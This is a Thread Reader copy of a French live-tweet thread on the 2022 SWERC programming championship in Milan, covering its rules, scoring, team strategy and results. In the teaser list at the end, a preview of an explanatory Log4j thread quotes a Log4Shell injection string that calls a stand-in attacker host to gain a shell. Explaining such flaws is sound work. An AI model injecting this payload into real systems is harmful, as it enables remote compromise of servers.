Mathis Hammel Profile picture
Apr 23 80 tweets 25 min read
LIVE TWEET - Championnats d'Europe de programmation

Pendant tout le weekend aura lieu la compétition #SWERC à Milan, je suis présent en tant que coach de 3 équipes françaises.

Je vais essayer de vous expliquer le principe et vous tenir au courant des résultats en direct.
La cérémonie d'ouverture commence par un mini concert, je prendrai le temps de vous expliquer les règles du challenge tout à l'heure
Près de 60.000 participants cette année au niveau mondial représentant 3406 universités (oui c'est un championnat réservé aux étudiant/es, c'est pour ça que je peux plus participer en tant que joueur 😁)
Chaque université peut envoyer jusqu'à 3 équipes de 3 personnes, pour ma part j'accompagne les équipes de l'INSA Lyon qui est l'école d'ingénieur dont je suis diplômé
Un mot de bienvenue de Huawei, sponsor de l'événement représenté aujourd'hui par le directeur du centre de recherche Huawei à Milan
Bon y'a d'autres sponsors mais j'ai la flemme de transformer ce thread en encart publicitaire (les autres sont Jetbrains, Jane Street et Bending Spoons)
Et un deuxième concert pour finir la cérémonie d'ouverture !
C'est la première fois qu'on a des animations comme ça sur scène, un changement qui a l'air de faire l'unanimité
Le challenge est en plein essor sur les 10 dernières années, cette année à Milan on a 97 équipes en tout
Je me rends compte que je me fais vieux, à 25 ans c'est ma 7e participation au challenge 😅

Depuis 2015 j'en ai joué 3 en tant que participant et 4 en tant que coach.
C'est l'heure de prendre les photos des équipes, alors on essaie de s'appliquer pour reproduire le logo de l'INSA au mieux
Allez on est de retour dans l'amphi pour les conférences des sponsors, je vais avoir un peu de temps pour vous parler des règles du challenge et les favoris de cette année
Comme je vous le disais, c'est un challenge réservé aux étudiants, mais bon comme toute organisation de qualité impliquant des nerds on a un algorithme de décision à 12 étapes pour vérifier ou non l'éligibilité des joueurs/joueuses 👇
Pendant la compétition, les équipes ont entre 11 et 15 problèmes d'algorithmique à résoudre en 5 heures.

Si ça vous intéresse de voir à quoi ressemblent les sujets, voici les énoncés des deux problèmes les plus faciles de l'an dernier :
C'est de l'algorithmique assez classique (mais les problèmes sont très difficiles à partir du 6e), la plus importante particularité du concours c'est le fait que ça se joue en équipe de 3 personnes. Sans internet. Et un seul ordi par équipe.
Les 98 équipes présentes ce weekend à Milan participent au SWERC (Southwestern European Regional Championship) qui englobe 6 pays : France, Suisse, Italie, Espagne, Portugal et Israël.
L'Europe est partagée en 5 régions géographiques, chacune d'entre elles envoie quelques équipes à la finale mondiale des ICPC qui aura lieu cette année au Bangladesh.

Pour la région SWERC, c'est 2 à 5 équipes qui auront leur place en finale cette année.
Le calcul du classement se base sur deux scores : le nombre de problèmes résolus et la pénalité temporelle.

On classe d'abord les équipes par nombre décroissant d'exercices résolus, la pénalité temporelle sert à départager les ex-aequo.
Pour calculer la pénalité, on prend la somme des temps de résolution de chaque exercice. Par exemple, si une équipe résout le premier problème à 9h10 et le suivant à 9h45, la pénalité temporelle sera de 55 (= 10+45). Une soumission incorrecte ajoute 20mn de pénalité.
Passons à un peu de stratégie. Comment on fait pour coder efficacement quand on a un seul ordi pour 3 personnes ?

(Spoiler : pas comme ça 👇)
Déjà, il faut savoir que la première heure est de loin la plus déterminante, surtout pour les équipes qui résolvent 5 exos ou moins (soit environ 80% des équipes). Le départ est crucial, et on se prépare spécifiquement pour ça.
Quand on arrive dans la salle du concours, les sujets sont posés sur chaque table dans une enveloppe scellée. Au lancement, on ouvre les sujets et on se les répartit : chacun lit 1/3 des exos et essaie de trouver les problèmes les plus faciles.
Généralement, on a deux exercices très faciles (résolus par environ 95% et 90% des équipes respectivement), et un facile (~60% de validations). Ces exos prennent rarement plus de 15 minutes chacun, donc il faut rusher dessus pour minimiser sa pénalité temporelle.
Pour travailler en parallèle avec un seul PC, on va beaucoup travailler sur papier :
- Identification du prochain exo par ordre de difficulté
- Code sur papier
- Recopie sur ordi
- Test en local
- Soumission
- Si mauvaise réponse : on imprime le code et debug sur papier
Pas d'accès à internet non plus, principalement pour éviter la triche en communiquant avec l'extérieur. Les exos sont très originaux donc l'accès à des sites comme StackOverflow et GeeksForGeeks n'apporterait pas un énorme avantage.

Mais les équipes ont le droit à un joker :
Une partie de la préparation pour les championnats d'Europe consiste à créer un notebook papier de 25 pages qui peut être utilisé pendant la compétition.

C'est une des seules choses autorisées dans les salles (avec un dictionnaire, et une mascotte d'équipe pour se porter chance)
Les captures d'écran proviennent du notebook INSA Lyon que j'avais créé en 2017 et qui se transmet de génération en génération (principalement par flemme d'en refaire un😄)

Nos deux notebooks (Python/C++) sont open-source, vous pouvez les retrouver ici : github.com/INSAlgo/ICPC-N…
Le but du notebook est d'avoir des algorithmes déjà prêts qu'on peut juste recopier/adapter, mais on ne met généralement que des choses que l'on connaît.

L'avantage de les avoir sous la main est principalement le gain de temps et l'absence de bugs.
Après on a quand même des trucs extraterrestres et/ou pas hyper utiles dans le notebook, comme des tableaux d'intégrales ou de développements limités. Je crois que ça vient du notebook de Stanford qui est aussi open-source et à qui on a emprunté pas mal de pages 😇
On part déjeuner (ils nous ont mis groupe C 😭), rdv cet après-midi pour la session d'entraînement !
On commence le programme de l'après-midi : d'abord les organisateurs expliquent les règles de la compétition.

Ensuite, les étudiants se dirigeront vers les labs informatiques de l'université pour le concours d'entraînement qui durera 1h30.
Les langages autorisés cette année : C, C++, Java, Kotlin, Python

Pour l'instant pas de surprises ni de nouveautés sur les règles de cette édition.
Ah, une nouveauté ! (je crois)

Les participants ne sont plus obligés de passer par l'interface web Domjudge, ils ont un outil en ligne de commande à disposition pour envoyer leur code source à évaluer
Quand on soumet un code source pour tenter de valider un problème, le serveur donne très peu d'infos sur le verdict : on reçoit l'une de ces 7 valeurs et c'est tout.
Les jeux de tests ne sont pas fournis, donc c'est difficile de débugger et il faut créer ses propres tests.
La session d'entraînement devrait commencer d'une seconde à l'autre, petit souci technique du côté de l'orga 😅
C'est réparé, on va commencer !
Il reste 30mn sur le round d'entraînement, une des équipes INSA est en 14e position !

Aujourd'hui les coachs ont la permission d'aller voir les équipes, donc je tâte le terrain : on a deux équipes qui ont une bonne piste pour valider le problème C et tenter le top 10.
Les deux premiers problèmes du concours d'entraînement sont triviaux, ils servent juste à prendre en main la plateforme de soumission.
Mes solutions pour les deux premiers problèmes.

Les coachs ont une plateforme dédiée pour jouer le challenge entre eux, j'ai soumis le A après 1 minute et le B après 2 minutes.
Le problème C est nettement plus intéressant. On doit choisir chaque jour si l'on allume ou pas le chauffage, et l'objectif est de faire en sorte que la température journalière soit la plus proche possible d'une valeur donnée.
La solution pour celui-ci est plus compliquée !
On ne peut pas se permettre de tester toutes les combinaisons possibles (ça prendrait des milliards d'années à calculer), du coup j'ai codé une solution en programmation dynamique.
Exo validé en 30 minutes tout pile.
Petit moment d'auto-promo : si vous cherchez à apprendre la programmation dynamique pour comprendre ma solution ci-dessus, j'ai publié une vidéo récemment à ce sujet :
Le problème D est un problème de théorie des graphes : combien de chemins différents reviennent à leur point de départ après K étapes, sans jamais revenir sur ses pas en prenant le même chemin deux fois d'affilée ?
Sur cet exo je sèche carrément, j'ai trouvé une solution en complexité O(k*n^3) mais c'est trop lent. Mon pote @gaubian qui est là pour coacher les équipes de l'ENS Paris-Saclay a une solution sympa mais on est pas sûrs que ce soit la bonne.
Aucune équipe ne l'a encore validé.
@gaubian C'est la fin du practice contest !
Pas réussi à valider le problème D, mais je suis quand même très content de ma perf sur le C (en même temps, j'adore la prog dynamique).
@gaubian Côté étudiants, mes équipes ont validé 2 exos chacune sur le challenge d'entraînement. Les meilleurs ont une pénalité temporelle de 59, ce qui les place en 21e position sur le scoreboard temporaire.
À noter que le scoreboard arrête d'être mis à jour sur les 30 dernières minutes pour garder un peu de suspense, on va avoir les résultats finaux dans quelques minutes
Bonne surprise ! On a finalement une équipe d'insaliens qui a validé le problème C quelques minutes après le début de la période de freeze du scoreboard 😍

17e place sur le classement final, on espère avoir une belle perf comme ça sur le vrai championnat demain !
Si y'a bien un truc sur lequel les Français sont premiers, c'est bien le banquet au Crowne Plaza 😇
Tous les ans on prie pour que ce soit open bar, au détriment de nos performances du lendemain
4 fourchettes ????
Update : c'était open bar.
Toute l'équipe est bien rentrée à l'hôtel, on se retrouve demain à 8h pour la deuxième journée des championnats d'Europe !
JOUR 2 - Championnats d'Europe d'algorithmique

On est de retour sur le campus du Politecnico Di Milano pour l'épreuve de programmation qui aura lieu ce matin de 9h à 14h.

Mes 3 équipes sont prêtes !
Dernier contrôle des badges et des t-shirts avant d'entrer dans les labs : obligatoire de les porter pendant toute la compétition pour distinguer les participants des administrateurs.

Les coachs donnent un dernier mot d'encouragement avant de quitter les équipes pour la matinée.
Le challenge commence dans 5 minutes (sauf en cas de problèmes techniques comme hier).

Les sujets seront sous embargo pendant une bonne partie de la matinée, donc j'y aurai accès à 8h45 mais je ne pourrai pas les partager pendant le début de la compétition.
Les favoris de cette année sont des Français ! Sans grande surprise c'est l'équipe ENS Ulm 1, qui compte parmi ses effectifs trois médaillés aux olympiades internationales d'informatique : Arthur Léonard, Félix Breton et Victor Deng.
La compétition a finalement commencé à 9h.

Le scoreboard à T+45' se dessine, 4 équipes françaises dans le top 10 ! Les miens ont eu un départ difficile mais je crois en eux :)
Update après 1h40 de compétition : les universités Harbour Space et Tel Aviv se partagent le top 4, et l'INSA Lyon commence à se réveiller : les meilleurs ont résolu 3 problèmes et sont 39e du championnat.
Réunion réservée aux coaches : la directrice de la compétition discute de l'organisation de la finale.
Les 5 régions d'Europe se partagent 15 places en finale, qui sont réparties notamment au pro-rata du nombre d'équipes. Probablement 2 ou 3 slots pour le SWERC cette année.
6 équipes sont ex-aequo à 7 problèmes validés. Les deux équipes en tête sont en position de force : elles ont validé le problème K qui semble plus difficile que le C qui leur reste à résoudre.
Leaderboard à 15mn de la fin : le scoreboard est freeze depuis 13h pour garder un peu de suspense, le verdict des soumissions (habituellement rouge ou vert) est en bleu pour qu'on ne connaisse pas le résultat.

Tel-Aviv pourrait reprendre le top 2 si les soumissions sont OK.
C'est terminé !
La meilleure équipe de l'INSA est 49e, mais ça risque de changer assez fort après le dégel du leaderboard
Des nouvelles du front : toutes les soumissions de mes étudiants pendant la dernière heure (que je ne pouvais pas voir à cause du freeze) ont été infructueuses 😓

On abandonne l'espoir de top 50, dommage parce qu'ils avaient trouvé les solutions de 5 exos en tout...
Lot de consolation tout de même, je termine 2e sur 23 au challenge amical entre coachs, avec 5 problèmes validés (presque 6 !) 😁

Les coachs de l'école Harbour Space, spécialisée en prog compétitive, ont explosé le leaderboard.
L'embargo sur les énoncés est enfin levé ! Vous pouvez les retrouver ici codeforces.com/contest/1662/p…

Attention, les problèmes A/B/C/J du lien ci-dessus étaient ceux de l'entraînement d'hier, et les autres ont été mis dans le désordre.

Deux exos que j'ai bien aimés 👇
On ne peut pas encore discuter des solutions publiquement (le challenge public sur CodeForces est ouvert jusque 18h).

Mais pourquoi pas faire une vidéo pour présenter les problèmes les plus faciles avec leurs solutions 😇
Session de présentation des corrigés : le problème G, résolu par aucune équipe avant le freeze, a été écrit par Petr Mitrichev qui est l'un des meilleurs programmeurs compétitifs au monde !
C'est l'heure de révéler le leaderboard final !

Le process est super stressant, on révèle le verdict des tentatives effectuées pendant le freeze en partant de la dernière équipe et en changeant le classement au fur et à mesure.
La première de mes équipes à passer à la moulinette est INSA Lyon 2, qui termine à la 72e place.

Les 8 soumissions infructueuses sur le problème J ont ajouté une grosse pénalité temporelle, mais au moins ils ont fini par le valider.
C'est au tour de l'équipe INSA Lyon 3, deux soumissions pendant le freeze mais aucune des deux n'est passée. 61e place au final.
Et pour finir l'équipe INSA Lyon 1 qui a effectivement perdu son top 50 et termine juste 5 places devant l'équipe 3, à la 56e position.

Bravo à eux, pas de bol pour les bugs sur le problème D et L parce qu'ils avaient la bonne intuition et auraient pu finir top 30.
L'équipe de l'Université de Lorraine termine en 16e position avec 6 exos validés, alors que c'était leur première participation. Félicitations à eux !
On passe à la remise des médailles. Il y aura 2 équipes médaillées d'or 🥇, 4 médailles d'argent 🥈 et 8 de bronze 🥉, soit 14 équipes médaillées au total.

Polytechnique (14e) récupère la première médaille de bronze.
On connaît maintenant les équipes qui sont dans le top 10, mais pas encore leur ordre exact !

Parmi les 10 meilleurs, on compte donc :
- 3 🇫🇷
- 3 🇪🇸
- 2 🇮🇱
- 1 🇮🇹
- 1 🇨🇭
Polytechnique prend la dernière médaille de bronze, on entre dans le top 6 du classement.
Dommage pour les favoris de l'équipe ENS Ulm 1, qui vont devoir se contenter d'une médaille d'argent cette année.

Il n'y aura pas d'équipe française à la finale des championnats du monde d'algorithmique 2022.
Le top 4 se joue maintenant entre deux équipes de l'université de Tel Aviv et deux de l'école Harbour Space.
La seule soumission sur le problème G, par l'équipe TAU++, est refusée. Cet exercice créé par le double vice-champion du monde aura donc tenu les 97 équipes en échec 😁
Moment de suspense avant l'annonce du grand vainqueur de l'édition 2022 du championnat d'Europe...
C'est fait !
Félicitations à l'équipe de l'université Harbour Space (🇪🇸) qui remporte l'édition 2022 des championnats d'Europe de programmation !
Merci d'avoir suivi le live-tweet !

Sur la prochaine édition des championnats d'Europe, j'ai comme projet d'aider gratuitement des étudiant/es n'ayant pas de coach pour participer à cette compétition. Envoyez-moi un DM si ça vous intéresse 😁

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Mathis Hammel

Mathis Hammel Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @MathisHammel

Apr 8
THREAD : Enquête sur les manipulations politiques du système d'aide au vote mis en place par les équipes d'Eric Zemmour à quelques jours de la présidentielle.

Attention, c'est pas beau à voir.
Le site mon-candidat.‍fr a été mis en ligne en début de semaine, et propose de déterminer votre candidat idéal en seulement 10 questions.

Aucun lien manifeste avec un parti politique n'est affiché, mais il s'agit bien d'un site appartenant au parti Reconquête de Zemmour.
Cette affiliation semble être volontairement dissimulée, que ce soit dans le questionnaire ou dans le démarchage de masse effectué pour rediriger des électeurs sur le site, comme on peut le voir sur ce SMS reçu hier par @MrsSensha :
Read 20 tweets
Mar 24
Les pros de la programmation compétitive ne font paradoxalement pas toujours de bons développeurs/es. Mais pourquoi ?

Je vous explique ⤵️ Image
Une compétition de code, c'est généralement une dizaine de problèmes à résoudre en solo sur une durée de 2 à 6 heures.

Pour chaque exo, le code est évalué sur un ensemble de tests cachés qui vérifient que notre solution est correcte et performante. Image
Une fois que tous les tests sont au vert, on archive son code source dans un dossier où il ne sera probablement plus jamais consulté, et on passe au problème suivant. Le but est de faire ça un maximum de fois dans le temps imparti. Image
Read 17 tweets
Feb 3
Le ministère de la Justice piraté ?

Le groupe Lockbit, spécialisé dans les ransomwares, a menacé publiquement le ministère de publier des documents volés si jamais celui-ci refusait de payer la rançon.

Mais en fait, c'était un énorme mensonge. Je vous explique ⤵️
La recrudescence des cyberattaques par ransomware est accompagnée par un business model inédit : les gangs fournissent le malware et administrent l'extorsion des données et des fonds, mais n'importe qui peut exécuter l'infection initiale en échange d'un pourcentage de la rançon.
Cette nouvelle structuration des attaques rend ces gangs très puissants et médiatisés, là où on était précédemment habitués aux attaques menées par des petits groupes à la hiérarchie bien définie.
Read 12 tweets
Jan 15
Hier soir, j'ai découvert un problème de sécurité sur l'app Elyze (numéro 1 des stores en France cette semaine) qui m'a permis d'apparaître comme candidat à la présidentielle sur le téléphone de plusieurs centaines de milliers de français.

Je vous explique ce qui s'est passé ⤵️ Image
Ça fait plusieurs jours que l'appli est sous le feu des critiques car le code n'est pas open source et plusieurs bugs y ont été relevés :

- En cas d'ex aequo, l'application favorise Emmanuel Macron

- Parfois, l'ordre affiché ne correspond pas au pourcentage ImageImage
Convaincu que ces problèmes ne proviennent pas d'une intention malveillante des créateurs de l'appli, j'ai décidé d'utiliser mes compétences en reverse engineering pour trouver l'origine des bugs et en faire un article.
Read 18 tweets
Jan 3
Et si votre bonne résolution pour 2022 c'était de vous mettre à l'algorithmique ou la cybersécurité ?

Dans ce thread, je vous livre les secrets qui m'ont permis de rejoindre tout en m'amusant le top 10 compétitif en France sur ces deux disciplines. (et un job chez Google !)
Au fil des années, j'ai pu tester pas mal de ressources et j'ai conseillé beaucoup de personnes qui cherchaient à se lancer, voici donc une compilation de ce qui se fait de mieux.

Parfois ces conseils s'appliquent à des cas spécifiques, donc gardez juste ce qui vous plaît :)
Commençons par l'algorithmique ! C'est la science qui se cache derrière la programmation informatique : la capacité de transformer sa pensée en une série d'instructions pour l'ordinateur.

C'est une discipline assez théorique et formelle, qui relève des maths appliquées.
Read 51 tweets
Dec 11, 2021
Depuis hier, une vulnérabilité 0-day sur la plupart des serveurs Java est exploitée dans le monde entier via une faille dans Log4j. Twitter, Apple, Minecraft et même les voitures Tesla sont vulnérables.

🧵Mini-thread pour vous expliquer la faille la plus importante de 2021.
Vous vous souvenez de ShellShock ? Là c'est 100 fois pire.

Baptisée Log4Shell, cette attaque permet d'obtenir un shell sur la machine de la victime en lui faisant simplement afficher une payload d'une vingtaine de caractères dans ses logs: ${jndi:ldap://attacker.com/a}
Le vecteur d'injection est généralement très simple, il suffit de l'inclure dans un paramètre qui sera affiché dans les logs, par exemple à la place de l'adresse email dans la page de connexion.

On peut voir ici la vulnérabilité déclenchée sur la page de login Twitter :
Read 10 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(